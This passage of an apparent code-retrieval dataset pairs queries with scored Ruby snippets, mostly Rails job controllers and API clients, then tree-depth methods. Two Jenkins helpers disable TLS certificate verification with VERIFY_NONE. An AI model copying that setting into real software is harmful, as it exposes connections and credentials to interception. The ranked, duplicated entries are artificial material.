"text": "def show\n @job_list = JobList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_list }\n end\n end",
"title": ""
},
{
"docid": "12df22bb04d8e0071c1e32c6700884be",
"score": "0.6991152",
"text": "def jobs\n result = get(\"jobs.json\")\n jobs = []\n for json_job in result do\n job = Job.new(self, {\n uuid: json_job[\"id\"],\n name: json_job[\"name\"],\n repository_name: json_job[\"repository\"][\"name\"],\n repository_branch: json_job[\"repository\"][\"selected_branch\"],\n repository_url: json_job[\"repository\"][\"html_url\"]\n })\n jobs << job\n end\n jobs\n end",
"title": ""
},
{
"docid": "7948465d12d9846ff71b0e6c85ac0d6a",
"score": "0.6979743",
"text": "def jobs\n @mallet_run = MalletRun.find(params[:id])\n @commands = @mallet_run.mallet_commands.job( params[:job])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commands }\n end\n end",
"title": ""
},
{
"docid": "89a8b12f8cd78d27f2f1993be738023b",
"score": "0.69692445",
"text": "def index\n @client = Client.find(params[:client_id])\n @jobs = @client.jobs\n end",
"title": ""
},
{
"docid": "ccd0eb99fdb7728b3b7de70cfaefe421",
"score": "0.6967669",
"text": "def show\n @project = Project.find(params[:project_id])\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "9a8789f307b1b8358ce8b1ddc77d7b87",
"score": "0.69672596",
"text": "def get(job_id)\n properties = get_json('jobs/get', { job_id: job_id })\n new_resource(:job, properties.merge(properties.delete('settings')))\n end",
"title": ""
},
{
"docid": "7d00a26735db7238c2d501a448bc4507",
"score": "0.69594",
"text": "def show\n @job_status = JobStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_status }\n end\n end",
"title": ""
},
{
"docid": "1743d74a0d26a7b569b21ef033a63517",
"score": "0.6949158",
"text": "def show\n id = params[:id]\n @job = Job.get_jobs[id.to_i]\n end",
"title": ""
},
{
"docid": "d7ccb78b867664bd18e7d708bc04b0e4",
"score": "0.6948083",
"text": "def job(job_id)\n raise NSOne::MissingParameter, \"job_id cannot be blank\" if blank?(job_id)\n perform_request(HTTP_GET, \"/monitoring/jobs/#{job_id}\")\n end",
"title": ""
},
{
"docid": "53a6d24820d6b2ad9e262dec978148ed",
"score": "0.69322836",
"text": "def get_json(job_name) \n job_name = URI.encode(job_name)\n http = Net::HTTP.new(JENKINS_URI.host, JENKINS_URI.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new($source + \"job/#{job_name}/api/json/\")\n if JENKINS_AUTH['name']\n request.basic_auth(JENKINS_AUTH['name'], JENKINS_AUTH['password'])\n end\n response = http.request(request)\n JSON.parse(response.body)\nend",
"title": ""
},
{
"docid": "fc848a4941d5e2914f40f91a6a99e9af",
"score": "0.6923959",
"text": "def list(args)\n options = { query: args, basic_auth: { username: @api_key } }\n Try { self.class.get(\"/api/jobs/list.json\", options) }.to_either >-> response {\n if response.code == 200\n Right(response)\n else\n Left(response)\n end\n }\n end",
"title": ""
},
{
"docid": "5e00db73a932ddb63ea3204aaec24bfc",
"score": "0.6923365",
"text": "def index\n @jobs = Job.where(\"maxscheduler_id = ?\", @maxschedulerId)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"title": ""
},
{
"docid": "351247e31f50f0916d70052ad4087214",
"score": "0.6919243",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "2c61b74dbb665479715db36244304892",
"score": "0.691095",
"text": "def show\n job = Job.find(params[:id]);\n render json: {status:'SUCCESS', message:'Jobs Loaded', data:job},status: :ok\n end",
"title": ""
},
{
"docid": "9e86ba321348e109b70d7fd330deced1",
"score": "0.6909323",
"text": "def index\n @jobs = Job.by_user(current_user).page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"title": ""
},
{
"docid": "1398b7c493f3edaa0ce113d31a43caaa",
"score": "0.6897507",
"text": "def job_data\n jenkins_rest_call(\"/api/json\")\n end",
"title": ""
},
{
"docid": "eae41e00276d09ea9b71840f3d559641",
"score": "0.6895945",
"text": "def get_job(job_id)\n fail Auth0::InvalidParameter, 'Must specify a job id' if job_id.to_s.empty?\n path = \"#{jobs_path}/#{job_id}\"\n get(path)\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "775fa3b91aa76c49cd1ec5eec9e735e0",
"score": "0.68937826",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "a8ab060bb82449427aa4898c36fbc7f5",
"score": "0.68740135",
"text": "def index\n\n @jobs = Job.all\n \n end",
"title": ""
},
{
"docid": "124d954dc3041055b7c02da08902437a",
"score": "0.68701494",
"text": "def get_json_for_job(job_name, build = 'lastBuild')\n job_name = URI.encode(job_name)\n http = Net::HTTP.new(JENKINS_URI.host, JENKINS_URI.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new($source + \"job/#{job_name}/#{build}/api/json/\") \n if JENKINS_AUTH['name']\n request.basic_auth(JENKINS_AUTH['name'], JENKINS_AUTH['password'])\n end\n response = http.request(request)\n JSON.parse(response.body)\nend",
"title": ""
},
{
"docid": "a7db74dbd256ea7a06421acca89c2433",
"score": "0.6859235",
"text": "def get_jobs\n @jobs\n end",
"title": ""
},
{
"docid": "d7aa614583a1a676ed1ae41c5a8efc10",
"score": "0.6840002",
"text": "def index\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "40dad2fc652d2042eac104cd30876164",
"score": "0.68396306",
"text": "def index \n @jobs = Job.all\n \n end",
"title": ""
},
{
"docid": "56b336c8043410819c8e83d40ca8743e",
"score": "0.68207395",
"text": "def show\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @job }\r\n end\r\n end",
"title": ""
},
{
"docid": "ae50f9a3f63323f6c253eea36863573b",
"score": "0.6806019",
"text": "def show\n @job = Job.find(params[:id])\n end",
"title": ""
},
{
"docid": "ae50f9a3f63323f6c253eea36863573b",
"score": "0.6806019",
"text": "def show\n @job = Job.find(params[:id])\n end",
"title": ""
},
{
"docid": "ae50f9a3f63323f6c253eea36863573b",
"score": "0.6806019",
"text": "def show\n @job = Job.find(params[:id])\n end",
"title": ""
},
{
"docid": "81804132db774bba9d18531e722e997c",
"score": "0.6803406",
"text": "def index\n\t\tbegin\n\t\t\t@jobs = @organization.jobs.order(:created_at)\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html { redirect_to organization_path if @jobs.empty? }\n\t\t\t\tformat.json { render json: @jobs }\n\t\t\tend\n\t\trescue => e\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html { redirect_to organization_path, notice: e.message }\n\t\t\t\tformat.json { render status: :no_content }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d9f5b7862b9a0ca7bf350566cab08b32",
"score": "0.67970496",
"text": "def msf_job_info id\n begin\n response = RestClient.get \"#{@url}msf/job/#{id}/info\", {:params => {:token => @token}}\n details = JSON.parse(response.body)\n print_good \"Retrieved job information [id: #{id}]\"\n details\n rescue => e\n print_error \"Could not retrieve job info: #{e.message}\"\n end\nend",
"title": ""
},
{
"docid": "2d776bb38c717b203508bdfa41b1da0e",
"score": "0.67950606",
"text": "def list_all_with_details\n @logger.info \"Obtaining the details of all jobs\"\n response_json = @client.api_get_request(\"\")\n response_json[\"jobs\"]\n end",
"title": ""
},
{
"docid": "9afd3a844765b6ce2451ea3f04b65efe",
"score": "0.6792793",
"text": "def index\n @jobs = Job.all.sort(_id: -1)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"title": ""
},
{
"docid": "f86b41c034c82cb8324a04c746b37a4f",
"score": "0.67676896",
"text": "def show\n @jobs = @job_app.jobs\n end",
"title": ""
},
{
"docid": "464547d85980038a7d4e8c15c1b3c49f",
"score": "0.67383045",
"text": "def show\n @company = Company.find(params[:id])\n @jobs = @company.jobs\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"title": ""
},
{
"docid": "517eab7b6c966e1568993638f737a756",
"score": "0.67377347",
"text": "def index\n @jobs = Job.find(:all, :conditions => {:user_id => current_user.id}, :order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n format.json { render :json => @jobs.to_json(:include => { :batches => {\n :include => { :screenshots => {\n :only => [\n :batch_id,\n :url,\n :browser_name,\n :browser_version\n ],\n :methods => [\n :absolute_url,\n :taken_at\n ]\n }}}})}\n end\n end",
"title": ""
},
{
"docid": "643f303cda0a50f16a5fe33d6fee4ac0",
"score": "0.6720312",
"text": "def index\n\n @job = Job.new\n @jobs = Job.all\n\n end",
"title": ""
},
{
"docid": "1f1f84fbc067e167c0d066f81f7e9935",
"score": "0.67132866",
"text": "def show\n @queue_job = QueueJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @queue_job }\n end\n end",
"title": ""
},
{
"docid": "85e1b8eed9a54dc623b915839aefcedf",
"score": "0.67076343",
"text": "def show\n #@job_detail = JobDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_detail }\n end\n end",
"title": ""
},
{
"docid": "1f0c742672a94d79ecce477ea2dcdb90",
"score": "0.6692216",
"text": "def index\n @job_lists = JobList.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_lists }\n end\n end",
"title": ""
},
{
"docid": "e09313e22a0ee72e69031fd840f3df20",
"score": "0.66680944",
"text": "def index\n if Job.count == 0\n source = 'https://geekhunter-recruiting.s3.amazonaws.com/code_challenge.json'\n resp = Net::HTTP.get_response(URI.parse(source))\n data = resp.body\n result = JSON.parse(data)\n result[\"jobs\"].each do |j|\n job = Job.new({ city: j[\"city\"], experience: j[\"experience\"], technologies: j[\"technologies\"] })\n # if Job.find_by_code(j[\"code\"]).nil?\n # job.save\n # end\n job.save\n end\n end\n @jobs = Job.all\n end",
"title": ""
},
{
"docid": "cbec40036f2a0bf5aac5ac9b7b5f3f46",
"score": "0.6665757",
"text": "def index\n @jobs = Job.order(\"created_at DESC\").includes(:company).all\n\n respond_to do |format|\n format.html #index.html.erb\n format.json {render json: @jobs}\n end\n\n end",
"title": ""
},
{
"docid": "cd936e10b4debc24603bfde1b1abb788",
"score": "0.66640234",
"text": "def api_uri\n self.hudson_server + \"api/json?tree=jobs[name,color,url]\"\n end",
"title": ""
},
{
"docid": "c19eb7886385ac588144fbda457b4226",
"score": "0.6657778",
"text": "def index\n #@jobs = Job.order(\"created_at\").all\n @jobs = Job.paginate(:page => params[:page], :per_page => 50).order(\"created_at desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"title": ""
}
] |
7de6e92ec1e35c75181ef82baf6fa188
|
depth of the tree is stored in an attribute even though it could be calculated since depth is needed in queries
|
[
{
"docid": "e3b56f8c13eec49ac8a5baf1f9d41deb",
"score": "0.0",
"text": "def set_depth\n self.depth = self.path.count(PATH_SEPARATOR)\n end",
"title": ""
}
] |
[
{
"docid": "fe0520aa5390e0f5268c89bc06101ab7",
"score": "0.78596896",
"text": "def depth\n @depth\n end",
"title": ""
},
{
"docid": "9f639157289d2212d701e00b77381924",
"score": "0.78534293",
"text": "def depth\n @attributes[:depth]\n end",
"title": ""
},
{
"docid": "916d4e43e95d1a0dec5ff0794a637e58",
"score": "0.7793124",
"text": "def node_depth()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "2a966636af17c32aff29a422eff61a80",
"score": "0.775826",
"text": "def depth\n @depth\n end",
"title": ""
},
{
"docid": "c41a246698bd7b9477cf725c3800c11c",
"score": "0.7754619",
"text": "def depth\n @__depth ||= __depth\n end",
"title": ""
},
{
"docid": "e0c64273bf35381781cb573ae5c2186e",
"score": "0.7699702",
"text": "def _depth\r\n depth = 0\r\n node = self\r\n depth += 1 while node=node._parent\r\n depth\r\n end",
"title": ""
},
{
"docid": "66e8aa4c5d508bd6c02d9b9d1eacfca6",
"score": "0.7656563",
"text": "def depth_of_tree\n tree_depth(@root, 0)\n end",
"title": ""
},
{
"docid": "3b591a1546ec5f2550ba430f2f3267a6",
"score": "0.7639676",
"text": "def depth\n @__depth ||= __depth\n end",
"title": ""
},
{
"docid": "c8c4d4320bf9bd854f2469f9b09770bc",
"score": "0.76332265",
"text": "def depth()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "4a3c87d3c825d33167c1cfdf832f19ee",
"score": "0.7623716",
"text": "def depth\n @depth ||= tree_path.split(/\\./).length - 1\n @depth\n end",
"title": ""
},
{
"docid": "7d9714a2dc223c5aa15ad413bb9badc1",
"score": "0.7576841",
"text": "def depth()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "7d9714a2dc223c5aa15ad413bb9badc1",
"score": "0.75764334",
"text": "def depth()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "3269c5cdc62e614485397d0283f1f4c7",
"score": "0.7506586",
"text": "def depth\n end",
"title": ""
},
{
"docid": "f2b3a2223a91ca6b0454ac7de1ba7ff4",
"score": "0.7494639",
"text": "def depth; end",
"title": ""
},
{
"docid": "f2b3a2223a91ca6b0454ac7de1ba7ff4",
"score": "0.7494639",
"text": "def depth; end",
"title": ""
},
{
"docid": "f2b3a2223a91ca6b0454ac7de1ba7ff4",
"score": "0.7494639",
"text": "def depth; end",
"title": ""
},
{
"docid": "c50616d8b25f9c34f9c7f0b232abf702",
"score": "0.7462575",
"text": "def get_depth\n get_parents.size\n end",
"title": ""
},
{
"docid": "dd7fec69fa1628be5a1e75de7458ecaf",
"score": "0.7430814",
"text": "def update_depth\n @depth\n end",
"title": ""
},
{
"docid": "889a51df4270d4639c9660107a2698d3",
"score": "0.74264145",
"text": "def depth\n raise NotImplementedError, \"please implement 'depth'\"\n end",
"title": ""
},
{
"docid": "f82bced8c68fc3cb17c3cc16270f9b99",
"score": "0.74205947",
"text": "def depth\n end",
"title": ""
},
{
"docid": "f82bced8c68fc3cb17c3cc16270f9b99",
"score": "0.74205947",
"text": "def depth\n end",
"title": ""
},
{
"docid": "f359f9916e58bf86632038601577986a",
"score": "0.7404146",
"text": "def depth\n root? ? 0 : 1 + parent.depth\n end",
"title": ""
},
{
"docid": "c0701ace1531c75033785d2dd04ce3ab",
"score": "0.7383629",
"text": "def depth\n parent ? 1 + parent.depth : 0\n end",
"title": ""
},
{
"docid": "5e85d1011d321a0c55968a7465be89ee",
"score": "0.73595667",
"text": "def depth\n page_node.depth\n end",
"title": ""
},
{
"docid": "9e7926be171747e28281db743c8cf406",
"score": "0.7342885",
"text": "def max_depth\n\t\t@max_depth\n\tend",
"title": ""
},
{
"docid": "2a2557de0256182bf8f37c7932fcd207",
"score": "0.73389167",
"text": "def depth\n parent ? parent.depth + 1 : 0\n end",
"title": ""
},
{
"docid": "2ade199849d701c3be63d5472bc2542d",
"score": "0.73348624",
"text": "def test_it_reports_accurate_depth_of\n skip\n @tree.insert(61, \"Bill & Ted\")\n @tree.insert(16, \"Johnny English\")\n @tree.insert(92, \"Sharknado 3\")\n @tree.insert(50, \"Hannibal Buress: Animal Furnace\")\n\n assert_equal 1, @tree.depth_of(92)\n assert_equal 2, @tree.depth_of(50)\n end",
"title": ""
},
{
"docid": "5124a9c65f9bde934e027e8ab291fd78",
"score": "0.73197556",
"text": "def depth\n query = \n \"WITH RECURSIVE crumbs AS (\n SELECT #{configuration[:foreign_key]}, 0 AS level\n FROM #{self.class.configuration[:class].table_name}\n WHERE #{configuration[:primary_key]} = #{self.send(configuration[:primary_key])} \n UNION ALL\n SELECT alias1.#{configuration[:foreign_key]}, level + 1 \n FROM crumbs\n JOIN #{self.class.configuration[:class].table_name} alias1 ON alias1.#{configuration[:primary_key]} = crumbs.#{configuration[:foreign_key]}\n ) SELECT level FROM crumbs ORDER BY level DESC LIMIT 1\"\n ActiveRecord::Base.connection.select_all(query).first.try(:[], 'level').try(:to_i)\n end",
"title": ""
},
{
"docid": "4b5cc45900d21db7e04fdef0a6b03feb",
"score": "0.7272723",
"text": "def depth() 0 end",
"title": ""
},
{
"docid": "35d884d86b9d79114b3346fbbcda95f2",
"score": "0.7265472",
"text": "def depth=(new_depth)\n write_attribute depth_field, new_depth\n end",
"title": ""
},
{
"docid": "538f4ec8329e38caa2e0f888b8094a0f",
"score": "0.72535604",
"text": "def depth\n atom ? atom.depth + 1 : 0\n end",
"title": ""
},
{
"docid": "538f4ec8329e38caa2e0f888b8094a0f",
"score": "0.72535604",
"text": "def depth\n atom ? atom.depth + 1 : 0\n end",
"title": ""
},
{
"docid": "ac7a256b2daca4efa34007a600b31b39",
"score": "0.722966",
"text": "def depth\n if self.post_id != nil\n return 1 + Post.find(self.post_id).depth\n else\n return 1;\n end\n end",
"title": ""
},
{
"docid": "665baa4e2eeebf290bdbe2f14791d08f",
"score": "0.72130394",
"text": "def max_depth depth=0\n @max_depth = depth\nend",
"title": ""
},
{
"docid": "8a4abebf23b5381a72499c9f1ca337da",
"score": "0.7203671",
"text": "def set_depth\n if self.parent_category.nil?\n self.depth = 1\n else\n self.depth = self.parent_category.depth + 1\n end\n end",
"title": ""
},
{
"docid": "b05cc7f82392bac8e4e861ec0358a050",
"score": "0.7197732",
"text": "def depth(node)\n # using x-root will only work if balanced.\n end",
"title": ""
},
{
"docid": "c231438cfd397cd23d01f9b02a5bd59e",
"score": "0.7181444",
"text": "def depth\n @levels.size\n end",
"title": ""
},
{
"docid": "20f68c3d7428da2b3ed0f7f6952196e1",
"score": "0.7167615",
"text": "def depth_percent; end",
"title": ""
},
{
"docid": "f55f5dc9a3dc491f60f1019f3bc03afc",
"score": "0.7158216",
"text": "def depth(d)\n adapt_to_traverser.depth(d)\n end",
"title": ""
},
{
"docid": "5f3277fbde437c363ed548a223dadecc",
"score": "0.7153075",
"text": "def compute_depth(depth)\n @depth = depth\n child_depth = transactions\n .map { |trsc| trsc.compute_depth(depth + 1) }\n .max\n child_depth || depth\n end",
"title": ""
},
{
"docid": "c65c272098648a0365c3f66fbf6a4470",
"score": "0.71364975",
"text": "def depth\r\n return 1 if isLeaf?\r\n 1 + @children.collect { |child| child.depth }.max\r\n end",
"title": ""
},
{
"docid": "0d37787fdeedcfc060ae392a212547ea",
"score": "0.7130297",
"text": "def depth\n unit.depth + 1\n end",
"title": ""
},
{
"docid": "0d37787fdeedcfc060ae392a212547ea",
"score": "0.7130297",
"text": "def depth\n unit.depth + 1\n end",
"title": ""
},
{
"docid": "82dbfac1615f1e8719a093bf37f21d7a",
"score": "0.7107312",
"text": "def depth\r\n 1 + (previous ? previous.depth : 0)\r\n end",
"title": ""
},
{
"docid": "6783197176e5e5d27d3a96c6832f8320",
"score": "0.7102204",
"text": "def depth\n 0\n end",
"title": ""
},
{
"docid": "be50ed37fd7fab9e17372c9f00019cfd",
"score": "0.70834845",
"text": "def length\n @tree.length\n end",
"title": ""
},
{
"docid": "b0c3a1eb3418ff18f6007bea2150581f",
"score": "0.7080358",
"text": "def depth\n\t\treturn 0 if is_root?\n\t\treturn (1 + @parent.depth)\n\tend",
"title": ""
},
{
"docid": "e2d4fe8a053117d3e8f6a42f8985b06c",
"score": "0.7078567",
"text": "def depth\n \"?\"\n end",
"title": ""
},
{
"docid": "84a516e4c34193fc9215a512fa572fc8",
"score": "0.70662636",
"text": "def depth(node)\n height(@root) - height(node)\n end",
"title": ""
},
{
"docid": "25a5a20947fb16acb97272213cab2901",
"score": "0.7060378",
"text": "def depth(arg = nil)\n set_or_return(\n :depth,\n arg,\n :kind_of => Integer\n )\n end",
"title": ""
},
{
"docid": "a53e3b53c7a37c633a1127f36b41b104",
"score": "0.70571876",
"text": "def depth\n n = self\n depth = 0\n while n != ROOT\n n = n.parent(false)\n depth += 1\n end\n depth\n end",
"title": ""
},
{
"docid": "f514a41020eeddb30a079f779802872b",
"score": "0.7027266",
"text": "def node_depth_max()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "adde72de2c65ee959c6fcecafeec972c",
"score": "0.70093226",
"text": "def depth\n 1\n end",
"title": ""
},
{
"docid": "73550644954259e09d4dda3787aa34b4",
"score": "0.6994223",
"text": "def depth(tree)\r\n\tif !tree.nodes?\r\n\t\treturn 1\r\n\telse\r\n\t\tld = []#List of depths\r\n\t\tx = 0\r\n\t\ttree.nodes.delete(tree.parent) if (tree.nodes.length != 4)\r\n\t\ttree.nodes.each do |node|\r\n\t\t\tld[x] = depth(node) if node\r\n\t\tend\r\n\t\treturn 1 + max(ld) if max(ld)\r\n\tend\r\n\treturn 1\r\nend",
"title": ""
},
{
"docid": "cb1ce7aafc14dd657a17b7e152d171b0",
"score": "0.6988339",
"text": "def depth=(_arg0); end",
"title": ""
},
{
"docid": "cb1ce7aafc14dd657a17b7e152d171b0",
"score": "0.6988339",
"text": "def depth=(_arg0); end",
"title": ""
},
{
"docid": "0c7920f44557c08c70d16be46598bf19",
"score": "0.6957422",
"text": "def update_depth\n @depth = 1\n end",
"title": ""
},
{
"docid": "311ff3c0c1400d37ef6894ec0941f859",
"score": "0.69570374",
"text": "def depth\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "27f98e8986b8b33164c0b246def92e5c",
"score": "0.69553167",
"text": "def depthOf(item)\n res=0\n while item.parent != nil\n res+=1\n item=item.parent\n end\n return res\nend",
"title": ""
},
{
"docid": "75497dc86d9e88a85530181713d76fce",
"score": "0.69501185",
"text": "def tree_level\n self.ancestors.size\n end",
"title": ""
},
{
"docid": "353da6ec851e541006f097ab34d5aa85",
"score": "0.6936754",
"text": "def set_depth; end",
"title": ""
},
{
"docid": "353da6ec851e541006f097ab34d5aa85",
"score": "0.6936754",
"text": "def set_depth; end",
"title": ""
},
{
"docid": "353da6ec851e541006f097ab34d5aa85",
"score": "0.6936754",
"text": "def set_depth; end",
"title": ""
},
{
"docid": "e12ca357c3cf7a1f6cf4bdc3523f9ee5",
"score": "0.6934771",
"text": "def depth\r\n ancestors.size\r\n end",
"title": ""
},
{
"docid": "628faa848365a093c49758fc143f4440",
"score": "0.6924576",
"text": "def content_tree_depth(owner)\n owner.content_depth + 1\n end",
"title": ""
},
{
"docid": "2398ed0289c4b4cbbbdf1bc29ec7c437",
"score": "0.69035614",
"text": "def depth=(value)\n value = value.to_i\n fail \"The depth must be greater than zero.\" if value < 1\n @depth = value\n adjust_cache(0)\n end",
"title": ""
},
{
"docid": "7c2fb032abb982a078871a6979427ead",
"score": "0.68877393",
"text": "def get_depth\n return -1 unless get_head\n get_head.depth\n end",
"title": ""
},
{
"docid": "d4566f2c8c0304536b37df41646b96eb",
"score": "0.68754065",
"text": "def depth\n chart.depth\n end",
"title": ""
},
{
"docid": "44769dc7dec89d854f33b53833965756",
"score": "0.6865084",
"text": "def max_depth=(val)\n\t\t@max_depth = Integer(val)\n\tend",
"title": ""
},
{
"docid": "6c8ac8877eb21ce582990e717f8c01a6",
"score": "0.6863734",
"text": "def depth(d)\n @depth = d\n self\n end",
"title": ""
},
{
"docid": "aa2f737f7a5d0f78aa4ad3862c93093f",
"score": "0.6844066",
"text": "def depth\n return 0 if self.is_root?\n 1 + parents.map(&:depth).sort.first\n end",
"title": ""
},
{
"docid": "638ff15f2cc83729e92993eefc154eb5",
"score": "0.68394655",
"text": "def depth\n ancestors.count\n end",
"title": ""
},
{
"docid": "69e19279875320a3a61919e4af085931",
"score": "0.6829435",
"text": "def depth\n terms.map(&:depth).max + 1\n end",
"title": ""
},
{
"docid": "d2d665c231d9a3ba815f0b48bf98ad88",
"score": "0.6829303",
"text": "def depth\n ancestors.length\n end",
"title": ""
},
{
"docid": "27ee48a453e9474c6570a45fc5911244",
"score": "0.68174887",
"text": "def depth\n ancestors.size + 1\n end",
"title": ""
},
{
"docid": "f008531b5ce692f14e437ddce81e100d",
"score": "0.6816455",
"text": "def test_depth\n assert @di.depth = 10\n assert_equal 10, @di.depth\n end",
"title": ""
},
{
"docid": "75db937492a8caa8a1d0063efdbe6695",
"score": "0.68102396",
"text": "def depth(value)\n depth = find_with_height(@root, value)\n puts \"Depth of #{value} is #{depth}\"\n end",
"title": ""
},
{
"docid": "aed96cc1b9638ad62f28fd3f335e5b8c",
"score": "0.67945874",
"text": "def depth(depth)\n @depth = depth\n self\n end",
"title": ""
},
{
"docid": "0daa9a9e8222ed2ed22c4783dcfbce63",
"score": "0.67860436",
"text": "def depth\n d = 0\n current_node = self\n until current_node.root? do\n current_node = current_node.parent\n d += 1\n end\n d\n end",
"title": ""
},
{
"docid": "fc95597207aea72d4121db77f842083b",
"score": "0.6773989",
"text": "def depth_and_position\n self.depth * 1000 + (self.position || 199)\n end",
"title": ""
},
{
"docid": "a8883cc8294a2007fd7f0e25fe993d8f",
"score": "0.67710197",
"text": "def max_depth=(_arg0); end",
"title": ""
},
{
"docid": "44a46014da6d39ca594958ed51e9e87d",
"score": "0.67691034",
"text": "def nodes_at_depth(d)\n TreeNode.find_by_sql([\"Select tn.* from tree_nodes tn WHERE tree_id = ? and depth = ?\", self.id, d])\n end",
"title": ""
},
{
"docid": "4649bd2dbf0e89b3246ea947458332d3",
"score": "0.6760161",
"text": "def hierarchy_depth\n def hierarchy_depth_recursive(count, cur)\n return count if cur.nil?\n return hierarchy_depth_recursive(count + 1, cur.parent)\n end\n hierarchy_depth_recursive(0,self)\n end",
"title": ""
},
{
"docid": "fcbfb409d4e4aea0c9f983e3aea015cb",
"score": "0.6756832",
"text": "def depth\n rel.count(\"/\") - 2\n end",
"title": ""
},
{
"docid": "e3918fb0ec01787ebe0faf911784e53b",
"score": "0.67546034",
"text": "def depth\n if (@onNode) then\n return @node.valueDepth\n else\n return @node.parent.valueDepth + @incomingEdgeOffset - @node.incomingEdgeStartOffset\n end\n end",
"title": ""
},
{
"docid": "a7dc797d1c3a761f607281bd4d6c1f62",
"score": "0.6753582",
"text": "def depth\n begin\n require 'structured_warnings' # To enable a nice way of deprecating of the depth method.\n warn DeprecatedMethodWarning, 'This method is deprecated. Please use nodeDepth() or nodeHeight() instead (bug # 22535)'\n rescue LoadError\n # Oh well. Will use the standard Kernel#warn. Behavior will be identical.\n warn 'Tree::TreeNode#depth() method is deprecated. Please use nodeDepth() or nodeHeight() instead (bug # 22535)'\n end\n\n return 1 if isLeaf?\n 1 + @children.collect { |child| child.depth }.max\n end",
"title": ""
},
{
"docid": "a110e8ce2846fa08f8141d930a3f7faa",
"score": "0.67516655",
"text": "def depth(d)\n @depth = d\n self\n end",
"title": ""
},
{
"docid": "7db7bdc0d5d85270e16107e6df49ab0f",
"score": "0.67489177",
"text": "def update_depth\n if depth?\n self.update_attributes(:depth => level)\n end\n self\n end",
"title": ""
},
{
"docid": "11162aceb62393c1a2659382fab1f966",
"score": "0.6741502",
"text": "def tree_size\n if self.leaf?\n 1\n else\n children.reject(&:nil?).map(&:tree_size).reduce(:+) + 1\n end\n end",
"title": ""
},
{
"docid": "50f24e552172aa3da5d7474efd5725bf",
"score": "0.6729308",
"text": "def depth(node)\n get_depth(node, @root, 0)\n end",
"title": ""
},
{
"docid": "5e88526d78e11aec9726531f6870d40f",
"score": "0.67287755",
"text": "def depth(node, root = @root)\n count = 0\n until node == root\n if node.value < root.value\n root = root.left_child\n elsif node.value > root.value\n root = root.right_child\n end\n count += 1\n end\n count\n end",
"title": ""
},
{
"docid": "e88dca0d9386da25736a3020553f33d0",
"score": "0.67259085",
"text": "def name_depth()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
